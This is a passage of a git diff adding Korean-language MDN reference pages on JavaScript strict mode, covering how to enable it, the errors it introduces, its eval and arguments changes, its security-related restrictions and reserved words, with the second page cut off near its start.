+<p>엄격모드는 <em>전체 스크립트</em> 또는 <em>부분 함수</em>에 적용가능합니다. 단, <code>{}</code> 괄호로 묶여진 블럭문에는 적용되지 않습니다. 컨텍스트와 같은곳에 적용을 시도하면 동작하지 않습니다. <code>eval</code> 코드, <code>Function</code> 코드, 이벤트 핸들러 속성, {{domxref("WindowTimers.setTimeout()")}} 과 연관된 함수들에 전달된 문자열이 전체 스크립트이며 여기에서 엄격모드가 예상대로 동작합니다. </p>
+
+<h3 id="스크립트_엄격_모드">스크립트 엄격 모드</h3>
+
+<p>엄격모드를 전체 스크립트에 적용하기 위해, 정확한 구문 <code>"use strict";</code>(또는 <code>'use strict';</code>) 을 다른 구문 작성 전에 삽입합니다.</p>
+
+<pre class="brush: js notranslate">// 전체 스크립트 엄격 모드 구문
+'use strict';
+var v = "Hi!  I'm a strict mode script!";
+</pre>
+
+<p><span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>이 구문은 이미 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">유명한 웹사이트</a>에서 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">문제를 일으킨 전적</a>이 있습니다. </span>상충되지 않는 스크립트들 끼리 맹목적인 연결이 불가능하기 때문입니다. 엄격 모드의 스크립트와 비-엄격 모드의 스크립트의 연결은 심사숙고 하시기를 바랍니다. 이렇게 되면 전체 연결은 엄격으로 보입니다! 엄격 모드에 다른 엄격모드 들을 결합하는 것은 괜찮습니다. 그리고, 비-엄격 스크립트 사이의 결합도 괜찮습니다. 분명한건, 스크립트를 결합하는 것이 절대 이상적인 것이 아니라는 것이지만, 그래야 한다면 함수를 기준으로 엄격모드 사용을 고려하시기 바랍니다.</p>
+
+<p>또한 함수 내부의 전체 스크립트 내용에 접근할 수 있으며, 엄격모드를 사용하는 외부 함수를 가질 수 있습니다. 이는 결합 문제를 없애주기도 하지만, 이것이 스코프 바깥에 위치한 어떤 전역 변수든 확실하게 밖으로 추출할 수 있음을 의미합니다 . </p>
+
+<h3 id="함수에_strict_mode_적용">함수에 strict mode 적용</h3>
+
+<p>마찬가지로, 함수에 strict mode를 적용하기 위해, 함수 본문 처음에 다음의 구문을 넣습니다. <code>"use strict";</code> (또는 <code>'use strict';</code>).</p>
+
+<pre class="brush: js notranslate">function strict() {
+  // 함수-레벨 strict mode 문법
+  'use strict';
+  function nested() { return "And so am I!"; }
+  return "Hi!  I'm a strict mode function!  " + nested();
+}
+function notStrict() { return "I'm not strict."; }
+</pre>
+
+<h3 id="모듈에_strict_mode_적용">모듈에 strict mode 적용</h3>
+
+<p>ECMAScript 2015 는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export">JavaScript 모듈</a>을 소개했습니다. 따라서, 이는 엄격 모드를 적용할 수 있는 3번 째 방법입니다. JavaScript 모듈의 전체 컨텐츠는 엄격 모드 시작을 위한 구문 없이도 자동으로 엄격모드입니다.</p>
+
+<pre class="notranslate"><code>function strict() {
+    // 모듈이기때문에 기본적으로 엄격합니다
+}
+export default strict;</code>
+</pre>
+
+<h2 id="엄격한_모드_변경">엄격한 모드 변경</h2>
+
+<p>엄격한 모드는 구문과 런타임 동작을 모두 변경합니다.<br>
+ 일반적으로 이러한 유형의 변화가 발생합니다: 변환 실수를 오류로 해석하거나(문법 오류 또는 런타임에 오류 발생), 특정 이름의 특정 용도에 대한 특정 변수를 계산하는 방법을 단순화하며,  <code>eval</code> 과 <code>arguments</code> 를 단순화하고,"안전한 "자바 스크립트를 작성하도록 돕고, 미래 ECMAScript의 진화에 대비합니다.</p>
+
+<h3 id="실수를_에러로_바꾸는_것">실수를 에러로 바꾸는 것</h3>
+
+<p>엄격한 모드는 일부 이전에 허용되었던 실수를 오류로 바꿔 놓습니다. 자바 스크립트는 초보 개발자에게 쉬운 것이 되도록 설계되었으며, 때로는 오류를 일으킬만한  동작을 에러없이 시행합니다. 때때로 이것은 즉각적인 문제를 해결하지만, 때때로 이것은 더 심각한 문제를 만들어 냅니다. 엄격한 모드는 이러한 실수를 <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>오류로 처리해서</span> 그것을 발견하고 즉시 고칠 수 있도록 합니다.</p>
+
+<p>첫째로, 엄격모드는 실수로 글로벌 변수를 생성하는 것을 불가능하게 만듭니다. 일반적인 JavaScript에서 변수를 잘못 입력하면 전역 객체에 대한 새 속성이 만들어지고 그대로 "동작" (미래의 오류가 발생할 수 있음: modern 자바 스크립트처럼) 합니다. 전역 변수를 생성하는 할당은 엄격 모드에선 오류를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+                       // 전역 변수 mistypedVariable 이 존재한다고 가정
+mistypedVaraible = 17; // 변수의 오타때문에 이 라인에서 ReferenceError 를 발생시킴
+</pre>
+
+<p>둘째로, 엄격모드는 예외를 발생시키는 실패를 조용히 넘어가는 대신 작업을 만듭니다. 예를 들어, <code>NaN</code> 은 쓸 수 없는 전역 변수입니다. <code>NaN</code> 에 할당하는 일반적인 코드는 아무 것도 하지 않습니다. 개발자도 아무런 실패 피드백을 받지 않습니다. 엄격 모드에서 <code>NaN</code> 에 할당하는 것은 예외를 발생시킵니다. 일반 코드에서 조용히 넘어가는 모든 실패에 대해 (쓸 수 없는 전역 또는 프로퍼티에 할당, getter-only 프로퍼티에 할당, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en-US/JavaScript/Reference/Global Objects/Object/preventExtensions">확장 불가</a> 객체에 새 프로퍼티 할당) 엄격 모드에서는 예외를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+// 쓸 수 없는 프로퍼티에 할당
+var undefined = 5; // TypeError 발생
+var Infinity = 5; // TypeError 발생
+
+// 쓸 수 없는 프로퍼티에 할당
+var obj1 = {};
+Object.defineProperty(obj1, "x", { value: 42, writable: false });
+obj1.x = 9; // TypeError 발생
+
+// getter-only 프로퍼티에 할당
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // TypeError 발생
+
+// 확장 불가 객체에 새 프로퍼티 할당
+var fixed = {};
+Object.preventExtensions(fixed);
+fixed.newProp = "ohai"; // TypeError 발생
+</pre>
+
+<p>셋째로, 엄격 모드는 삭제할 수 없는 프로퍼티를 삭제하려할 때 예외를 발생시킵니다(시도가 어떤 효과도 없을 때).</p>
+
+<pre class="brush: js notranslate">"use strict";
+delete Object.prototype; // TypeError 발생
+</pre>
+
+<p>넷째로, Gecko 34 이전의 엄격모드는 객체 리터럴의 모든 프로퍼티의 이름이 유니크해도록 요구합니다. 일반 코드는 프로퍼티의 값이 나중에 정해진 프로퍼티 이름으로 중복할 것입니다. 하지만 마지막 인스턴스 만 변경했기 때문에 코드를 수정하여 마지막 인스턴스를 변경하는 것 이외의 속성 값을 변경하면 복제는 버그의 벡터가됩니다. 엄격모드에서는 프로퍼티 이름을 중복하는 것은 구문 에러입니다.</p>
+
+<div class="note">
+<p>ECMAScript 2015부터는 에러가 아닙니다. ({{bug(1041128)}}).</p>
+</div>
+
+<pre class="brush: js notranslate">"use strict";
+var o = { p: 1, p: 2 }; // !!! 구문 에러
+</pre>
+
+<p>다섯째로, 엄격모드는 유니크한 함수 파라미터 이름을 요구합니다. 일반 코드에서는 마지막으로 중복된 인수가 이전에 지정된 인수를 숨깁니다. 이러한 이전의 인수들은 <code>arguments[i]</code> 를 통해 여전히 남아 있을 수 있으므로, 완전히 접근 불가한 것이 아닙니다. 여전히, 이런 숨김 처리는 이치에 맞지 않으며 원했던 것이 아닐 수 있습니다(예를 들면 오타를 숨길 수도 있습니다). 따라서 엄격 모드에서는 중복 인수명은 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">function sum(a, a, c){ // !!! 구문 에러
+  "use strict";
+  return a + b + c; // 코드가 실행되면 잘못된 것임
+}
+</pre>
+
+<p>여섯째로, ECMAScript 5 에서의 엄격 모드는 8진 구문을 금지합니다. 8진 구문은 ES5의 문법이 아니지만, 모든 브라우저에서 앞에 0을 붙여 지원됩니다(<code>0644 === 420</code> 와 <code>"\045" === "%"</code>). ECMAScript 2015 에서는 접두사 "<code>0o</code>"를 붙여 8진수를 지원합니다.</p>
+
+<pre class="brush: js notranslate">var a = 0o10; // ES6: 8진수</pre>
+
+<p>초보 개발자들은 가끔 앞에 붙은 0 이 무의미하다고 생각하여, 이를 정렬용으로 사용합니다 — 하지만 이는 숫자의 의미를 바꿔버립니다! 이 8진수 문법은 거의 무용하며 잘못 사용될 수 있으므로 엄격모드에서 이 구문은 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var sum = 015 + // !!! 구문 에러
+          197 +
+          142;
+</pre>
+
+<p>일곱째로, ECMAScript 6 의 엄격모드는 {{Glossary("primitive")}} 값에 프로퍼티를 설정하는 것을 금지합니다. 엄격모드가 아닐 때에는 프로퍼티 설정이 간단하게 무시되지만(no-op), 엄격모드에서는 {{jsxref("TypeError")}} 를 발생시킵니다.</p>
+
+<pre class="brush: js notranslate">(function() {
+"use strict";
+
+false.true = "";         // TypeError
+(14).sailing = "home";   // TypeError
+"with".you = "far away"; // TypeError
+
+})();</pre>
+
+<h3 id="변수_사용_단순화">변수 사용 단순화</h3>
+
+<p>엄격모드는 코드상의 변수 이름을 특정 변수 정의로 매핑하는 방법을 단순화합니다. 많은 컴파일러 최적화는 변수 X 가 어떤 위치에 저장되어 있는지를 말해주는 능력에 의존하고 있습니다. 이는 자바스크립트 코드를 완전히 최적화하는데 중요합니다. 자바스크립트는 때때로 이름을 코드상의 변수 정의로 기본 매핑하는 것을 런타임때까지 실행이 불가하게합니다. 엄격모드는 이것이 발생하는 대부분의 경우를 제거하여 컴파일러가 엄격모드 코드를 더 잘 최적화 할 수 있게합니다.</p>
+
+<p>첫째로, 엄격모드는 <code>with</code> 를 사용하지 못하게합니다. <code>with</code> 사용의 문제는 런타임중에 블록안의 모든 이름이 전달된 객체의 프로퍼티나 인근 (또는 심지어 전역) 스코프 내의 변수로 매핑될 수도 있다는 것입니다. 이는 사전에 아는 것이 불가합니다. 엄격 모드는 <code>with</code> 를 구문 에러로 만들어, <code>with</code> 의 이름이 런타임에 알 수 없는 위치를 참조하지 않도록합니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var x = 17;
+with (obj) // !!! 구문 에러
+{
+  // 엄격모드가 아니라면, 이는 var x 가 되어야 하나요,
+  // obj.x 가 되어야 하나요?
+  // 일반적으로는 코드를 실행하지 않고 이를 말하는 것은 불가하므로,
+  // 이름을 최적화 할 수 없습니다.
+  x;
+}
+</pre>
+
+<p>이름이 짧은 변수에 객체를 할당한 후, 변수에 해당하는 프로퍼티에 접근하는 간단한 대안은 <code>with</code> 를 대체할 준비가 되었습니다.</p>
+
+<p>둘째로, <a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">엄격모드 코드의 <code>eval</code> 은 새로운 변수를 주위 스코프에 추가하지 않습니다</a>. 일반적인 코드에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">eval("var x;")</span></font> 는 변수 <code>x</code> 를 주위 함수나 전역 스코프에 추가합니다. 이는, 일반적으로 <code>eval</code> 호출을 포함하는 함수에서 인수나 지역 변수를 참조하지 않는 모든 이름은 런타임에 특정 정의에 반드시 매핑되어야 함을 의미합니다(<code>eval</code> 이 외부 변수를 숨기는 새로운 변수를 추가했기 때문입니다). 엄격모드에서 <code>eval</code> 은 evaluated 된 코드에서만 변수를 생성하므로, 외부 변수나 일부 로컬 변수에 참조하는지에 영향을 주지 않습니다.</p>
+
+<pre class="brush: js notranslate">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x");
+console.assert(x === 17);
+console.assert(evalX === 42);
+</pre>
+
+<p>이와 관련해서, <code>eval</code> 함수가 엄격모드 코드 내에서 <code>eval(...)</code> 형태의 표현으로 적용되었다면, 코드는 엄격모드 코드로 evaluated 됩니다. 코드는 명시적으로 엄격모드를 적용할 수 있지만, 필수적인 것은 아닙니다.</p>
+
+<pre class="brush: js notranslate">function strict1(str){
+  "use strict";
+  return eval(str); // str 은 엄격모드 코드로 다뤄짐
+}
+function strict2(f, str){
+  "use strict";
+  return f(str); // eval(...) 이 아님:
+                 // str 은 엄격모드를 적용한 경우에만 엄격함
+}
+function nonstrict(str){
+  return eval(str); // str 은 엄격모드를 적용한 경우에만 엄격함
+}
+
+strict1("'엄격모드 코드!'");
+strict1("'use strict'; '엄격모드 코드!'");
+strict2(eval, "'느슨한 코드.'");
+strict2(eval, "'use strict'; '엄격모드 코드!'");
+nonstrict("'느슨한 코드.'");
+nonstrict("'use strict'; '엄격모드 코드!'");
+</pre>
+
+<p>따라서 엄격모드 <code>eval</code> 코드 내의 이름은 엄격모드 코드 내의 이름이 <code>eval</code> 의 결과로 evaluated 되지 않은 것과 동일하게 동작합니다.</p>
+
+<p>셋째로, 엄격모드는 일반 이름을 제거하는 것을 금지합니다. 엄격 모드에서 <code>delete name</code> 은 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+var x;
+delete x; // !!! 구문 에러
+
+eval("var y; delete y;"); // !!! syntax error</pre>
+
+<h3 id="eval_과_arguments_를_더_간단하게_하기"><code>eval</code> 과 <code>arguments</code> 를 더 간단하게 하기</h3>
+
+<p>엄격모드는 <code>arguments</code> 와 <code>evel</code> 을 덜 기괴하고 마법적으로 만듭니다. 둘은 일반 코드에서 상당히 많은 마법적인 동작들을 갖고 있습니다: 바인딩을 추가하거나 삭제하고 바인딩 값을 변경하기위한 <code>eval</code>, 명명된 인수를 앨리어스하는 인덱싱된 프로퍼티 <code>arguments</code>. 엄격모드는 ECMAScript 의 미래 버전까지는 모든 수정이 이루지지는 않겠지만 <code>eval</code> 과 <code>arguments</code> 를 키워드로 다루기 위한 훌륭한 큰 걸음을 내딛었습니다.</p>
+
+<p>첫째로, 변수명 eval 과 arguments 는 언어 문법에 바운드되거나 할당될 수 없습니다. 다음 시도들은 모두 구문 에러입니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function("arguments", "'use strict'; return 17;");
+</pre>
+
+<p>둘째로, 엄격모드 코드는 <code>arguments</code> 객체가 생성한 프로퍼티를 앨리어스하지 않습니다. 함수의 첫 번째 인수가 <code>arg</code> 인 일반 코드에서는 <code>arg</code> 를 설정하는 것은 <code>arguments[0]</code> 를 설정하기도 하며, 그 반대도 그렇습니다(인수가 제공되지 않거나, <code>arguments[0]</code> 이 삭제된 경우는 제외). 엄격모드 함수의 <code>arguments</code> 객체는 함수가 호출될 때 원본 인수들을 저장합니다. <code><em>arguments[i]</em></code> 는 명명된 인수에 해당하는 값을 추적하지 않으며, 명명된 인수도 <code>arguments[i]</code> 에 해당하는 값을 추적하지 않습니다.</p>
+
+<pre class="brush: js notranslate">function f(a){
+  "use strict";
+  a = 42;
+  return [a, arguments[0]];
+}
+var pair = f(17);
+console.assert(pair[0] === 42);
+console.assert(pair[1] === 17);
+</pre>
+
+<p>셋째로, <code>arguments.callee</code> 는 더 이상 지원되지 않습니다. 일반 코드의 <code>arguments.callee</code> 는 바깥 함수를 참조합니다. 이런 유즈 케이스는 중요하지 않습니다. 간단히 바깥 함수의 이름을 사용하면됩니다. 더욱이, <code>arguments.callee</code> 는 인라인 함수와 같은 최적화를 상당히 방해하므로, <code>arguments.callee</code> 가 접근하는 함수는 인라인이 아닌 함수를 참조하도록 제공해야 했습니다. 엄격모드 함수의 <code>arguments.callee</code> 는 삭제할 수 없는 프로퍼티이며, 설정이나 반환할때 에러를 발생합니다.</p>
+
+<pre class="brush: js notranslate">"use strict";
+var f = function() { return arguments.callee; };
+f(); // TypeError
+</pre>
+
+<h3 id="JavaScript_보안">JavaScript "보안"</h3>
+
+<p>엄격모드는 "보안된"  자바스크립트를 작성하기 쉽게 해줍니다. 일부 웹사이트들은 사용자가 다른 사용자들을 대신하여 웹사이트에서 실행시키는자바스크립트를 작성하는 방법을 제공합니다. 브라우저에서 자바스크립트는 사용자의 개인정보에 접근할수 있기 때문에, 자바스크립트는 금지된 기능에 대한  검열을 하기위해 반드시 실행전에 부분적으로 변경되어야 합니다. 자바스크립트의 유연성으로 인해 많은 런타임 체크없이 이것을 수행하는것은 사실상 불가능합니다. 특정 언어의 기능들이 너무 광범위하여 런타임 검사 수행은 상당한 성능비용이 생깁니다. 엄격모드의 작은 수정과 사용자가 제출한 자바스크립트가 엄격모드가 되면 특정 방식으로 호출되므로 런타임 검사의 필요성이 크게 줄어 듭니다.  </p>
+
+<p>첫째, 엄격모드에서는 <code>this</code> 로  함수에 전달된 값은 강제로 객체가 되지 않습니다 (a.k.a. "boxed"). 보통 함수의 경우, <code>this</code> 는 언제나 객체입니다: 객체값 <code>this</code>  와 함께 호출된 경우 제공된 객체이거나 ; 부울값,  문자 또는 숫자 <code>this</code>  로 호출된 경우 그 값은 Boxed 입니다; 또는 <code>undefined</code> 또는 <code>null</code> <code>this</code> 로 호출되면 전역객체입니다. (특정된 <code>this</code> 명세를 위해서는 <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/JavaScript/Reference/Global_Objects/Function/apply"><code>apply</code></a>, 또는 <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/JavaScript/Reference/Global_Objects/Function/bind"><code>bind</code></a> 를 사용하십시요) 자동 박싱은 성능 비용뿐 아니라 전역 객체가 브라우저에 노출되는것은 보안상 위험합니다. 전역객체들은 자바스크립트 환경의 "보안"  기능에 접근하는것을 제공하기때문에 제한되어야 합니다. 따라서 엄격모드의 함수는, 정의된  <code>this</code>  는 박스드 객체가 되지 않으며, 정의되지 않은경우 <code>this</code> 는 <code>undefined</code> 가 됩니다:</p>
+
+<pre class="brush: js notranslate">"use strict";
+function fun() { return this; }
+console.assert(fun() === undefined);
+console.assert(fun.call(2) === 2);
+console.assert(fun.apply(null) === null);
+console.assert(fun.call(undefined) === undefined);
+console.assert(fun.bind(true)() === true);
+</pre>
+
+<p>즉, 브라우저에서 엄격모드의 함수내 에서는 더 이상 <code>window</code> 객체를  <code>this</code> 를 통해 참조할 수 없습니다.</p>
+
+<p>둘째로, 엄격모드에서는 ECMAScript의 일반적으로 구현된 확장을 통해 자바스크립트 스택을 "걷는"것이 불가능합니다. 이러한 일반적인 확장 코드는,  함수 <code>fun</code> 이 호출되는 중간에, <code>fun.caller</code> 는 가장 최근에 <code>fun</code> 을 호출한 함수이고 <code>fun.arguments</code> 는 <code>fun</code>을 호출하기 위한 <code>인</code><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">수</span></font>  입니다. "권한있는"함수와 (잠재적으로 보안되지 않은) 인수에 접근을 허용하기때문에 두가지 확장 모두 자바스크립트의 "보안" 문제가 됩니다. <code>fun</code> 이 엄격모드인경우, both <code>fun.caller</code> 와 <code>fun.arguments</code> 모두 설정 또는 검색될때 삭제 불가능한 속성이 됩니다.</p>
+
+<pre class="brush: js notranslate">function restricted()
+{
+  "use strict";
+  restricted.caller;    // throws a TypeError
+  restricted.arguments; // throws a TypeError
+}
+function privilegedInvoker()
+{
+  return restricted();
+}
+privilegedInvoker();
+</pre>
+
+<p>셋째, 엄격모드의 <code>인수</code> 는 더이상 해당 함수의 호출 변수에 대한 접근을 제공하지 않습니다. 일부 이전 ECMAScript에서  <code>arguments.caller</code>  해당 함수에  별명이 지정된 객체였습니다.  이것은 함수의 추상화를 통해 권한이 있는 값을 숨길수 있는 기능을  차단하여 <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">보안의 위협</a>이 됩니다; 이것은 또한 대부분의 최적화를  배제시킵니다. 이러한 이유로 최신 브라우저들은 이를 구현하지 않습니다. 하지만 이것들의 이전 기능들 때문에, 엄격모드함수에서  <code>arguments.caller</code>  설정이나 검색시 삭제 불가능한 요소가 됩니다:</p>
+
+<pre class="brush: js notranslate">"use strict";
+function fun(a, b)
+{
+  "use strict";
+  var v = 12;
+  return arguments.caller; //TypeError 가 발생.
+}
+fun(1, 2); // doesn't expose v (or a or b)
+</pre>
+
+<h3 id="미래의_ECMAScript_버전을_위한_준비">미래의 ECMAScript 버전을 위한 준비</h3>
+
+<p>새롭게 선보일 ECMAScript 버전은 새로운 구문을 소개할 것이고, ECMAScript5에서의 엄격 모드는 변환을 쉽게 하기 위해 몇 가지의 제한을 적용할 것으로 예상되고 있습니다. 만약 이 변화들이 엄격 모드에서의 제한을 기반으로 한다면, 더 바꾸기 쉬워질 것입니다.</p>
+
+<p>첫번째로, 엄격 모드에서의 식별자 후보들은 예약어가 됩니다. 이 예약어들은 <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, <code>yield</code>입니다. 그럼, 엄격 모드에서는 이 예약어와 똑같은 이름을 사용하거나, 변수명 또는 아규먼트명으로도 사용할 수 없습니다.  </p>
+
+<pre class="brush: js notranslate">function package(protected){ // !!!
+  "use strict";
+  var implements; // !!!
+
+  interface: // !!!
+  while (true){
+    break interface; // !!!
+  }
+
+  function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p>Mozilla의 특별 지시 두 가지 : 먼저, 코드가 JavaScript 1.7 또는 그보다 높고 (예를 들어, 크롬 코드 또는 <code>&lt;script type=""&gt;</code> 를 바로 사용할 때) 엄격 모드의 코드라면,  <code>let</code> 와 <code>yield</code>는 처음 소개되었을 때의 그 기능을 가진다. 그러나 웹에서의 엄격 모드 코드는, <code>&lt;script src=""&gt;</code>나 <code>&lt;script&gt;...&lt;/script&gt;</code>로 로딩되지, <code>let</code>/<code>yield</code>를 식별자로 사용할 수가 없을 것이다. 그리고 나서는, ES5 가 <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, and <code>super</code> 와 같은 예약어들을 무조건 리저브함에도 불구하고, 먼저 Firefox 5 Mozilla 는 그것들을 엄격 모드에서만 리저브한다.</p>
+
+<p>다음은, 엄격 모드는 스크립트나 함수의 탑 레벨이 아닌 곳에서의 함수 내용 정의를 제한합니다. (<a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">strict mode prohibits function statements not at the top level of a script or function</a>). 브라우저에서 일반적인 코드는 함수 내용 정의가 "어디에서든" 허용됩니다. <em>이것은 ES5의 부분이 아닙니다!(심지어 ES3도 아니다.) </em>이건 다른 브라우저에서 공존할 수 없는 시멘틱의 확장입니다. 앞으로의 ECMAScript 에디션은 바라건대, 스크립트나 함수의 탑 레벨이 아닌 곳에서의 함수 내용 정의를 위해, 새로운 시멘틱을 명시할 것입니다. 엄격 모드에서 이러한 함수 정의를 금지하는 것(<a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Prohibiting such function statements in strict mode</a>)은 앞으로 출시될 ECMAScript의 사양을 위한 "준비"입니다.  :</p>
+
+<pre class="brush: js notranslate">"use strict";
+if (true){
+  function f() { } // !!! syntax error
+  f();
+}
+
+for (var i = 0; i &lt; 5; i++){
+  function f2() { } // !!! syntax error
+  f2();
+}
+
+function baz(){ // kosher
+  function eit() { } // also kosher
+}
+</pre>
+
+<p>이 규제는 엄밀히 말하면 엄격 모드가 아닌데, 저런 함수 표현식들은 기본 ECMAScript5의 확장이기 때문입니다. 그러나 이것이 ECMAScript 협회가 권장하는 방식이며, 브라우저들이 이를 지원할 것입니다. </p>
+
+<h2 id="브라우저에서의_엄격_모드">브라우저에서의 엄격 모드</h2>
+
+<p>현재 주류의 브라우저들은 엄격 모드를 지원하고 있습니다. 하지만, 아직도 현실에서 사용되는 수 많은 브라우저의 버전들은 엄격 모드를 부분적으로만 지원하거나(<a href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Browser versions used in the wild that only have partial support for strict mode</a>), 아예 지원을 하지 않고 있기 때문에, 맹목적으로 여기에 의지할 수는 없습니다. (예를 들면, Internet Explorer 10 버전 이하!) <em>엄격 모드는 시멘틱을 바꿉니다. </em>이 변화들에 의지하는 것은 실수와 엄격 모드를 지원하지 않는 브라우저의 에러를 야기할 것입니다. 엄격 모드를 사용하는 데에 주의하는 것을 익히세요, 그리고 피쳐 테스트로 엄격 모드를 사용하기에 적절한 부분인지 확인하고 보완하세요. 마지막으로, <em>엄격 모드를 지원하는 브라우저와 그렇지 않은 브라우저에서 작성한 코드의 테스트를 확실히 하도록 하세요.</em> </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.1.1', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>초기 정의. 참조 : <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-C">Strict mode restriction and exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td><a href="https://tc39.github.io/ecma262/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li>
+ <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">JavaScript "use strict" tutorial for beginners.</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li>
+ <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Strict mode compatibility table</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transitioning to strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
new file mode 100644
index 0000000000..bc45f85cac
--- /dev/null
+++ b/files/ko/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
@@ -0,0 +1,137 @@
+---
+title: Transitioning to strict mode(엄격모드로 전환)
+slug: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+---
+<div>{{jsSidebar("More")}}</div>
+
+<div>ECMAScript 5에서 <a href="/en-US/docs/JavaScript/Strict_mode" title="/en-US/docs/JavaScript/Strict_mode">strict mode</a>이 도입이 되었다. 이제는 모든 주요 브라우저에서 사용이 가능하다(IE10 포함) 웹 브라우저가 엄격한 코드를 해석하도록 만들어준다. (소스 코드의 맨 위에 'use strict'를 추가하는 것만으로),  기존 코드 기반을 엄격 모드로 전환하는 것은 좀 더 많은 작업을 한다.</div>
+
+<div> </div>
+
+<div>이 글은 개발자의 안내서에 초점이 맞춰져있다.</div>
+
+<h2 id="Gradual_transition">Gradual transition</h2>
+
+<p>Strict 모드는 점진적으로 전환 할 수 있도록 설계되었다. 개별 파일을 개별적으로 변경하거나 코드를 엄격 모드에서 함수 단위로 전환 할 수도 있다.</p>
+
+<h2 id="strict_와_non-strict의_차이점">strict 와 non-strict의 차이점</h2>
+
+<h3 id="Syntax_errors">Syntax errors</h3>
+
